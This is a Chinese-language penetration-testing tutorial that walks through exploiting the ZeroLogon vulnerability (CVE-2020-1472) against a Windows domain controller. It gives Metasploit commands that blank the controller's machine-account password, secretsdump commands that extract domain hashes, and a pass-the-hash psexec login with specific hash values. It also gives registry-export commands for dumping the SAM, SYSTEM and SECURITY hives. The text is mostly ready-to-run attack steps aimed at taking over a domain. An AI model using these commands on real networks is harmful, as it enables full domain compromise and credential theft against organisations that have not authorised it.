ZeroLogon
内容简介
本小节主要讲解了在内网渗透环境中,如果运气一直很差,没法拿到域管账号的凭证我们如何利用经典的 CVE-2020-1472 ZeroLogon 漏洞直接置空域控主机的本地用户管理员密码,从而间接的逐步拿到域控管理员的权限。
置空密码
因为 MSF 如今已经集成了对应的 EXP 了,我们可以现在利用这漏洞就简单方便很多了:
msf6 > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
msf6 > set rhosts 192.168.20.100
msf6 > set NBNAME adserver
msf6 > run
成功将域控主机的本地用户密码重置为空密码:
哈希读取
MSF 读取
接着我们使用这个空密码来登录域控,尝试进一步读取域管理员的哈希:
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > use auxiliary/gather/windows_secrets_dump
msf6 > set rhosts 192.168.20.100
msf6 > set smbuser adserver$
msf6 > set smbpass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
msf6 > run
secretsdump 读取
C:\Tools\impacket-examples-windows-v0.9.17>secretsdump.exe pigteacher.com/adserver$@192.168.20.100 -no-pass > hash.txt
拿到域控的 Hash:
哈希传递
有了哈希那么可以直接来登录域控了:
psexec.exe -hashes e90127c07127ed1266ca3ba53c674cc1:8a282f931f4d94ef1ce71b356310ff42 pigteacher/administrator@192.168.20.100
上线后再读取一下域控的明文密码,则可以直接 RDP 登录了。
恢复域控
过导出 sam system 等文件到本地,获取域控机器上本地保存之前的 hash 值用于恢复,以防脱域:
注册表导出
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
恢复 NTLM HASH
恢复域控
验证恢复
使用 secretsdump 测试一下能否使用 no-pass 参数登录了,如果不能的话,则恢复成功:
实战中重置了域控的密码为空后,大家恢复的速度要快一点,否则可能会搞出生产事故。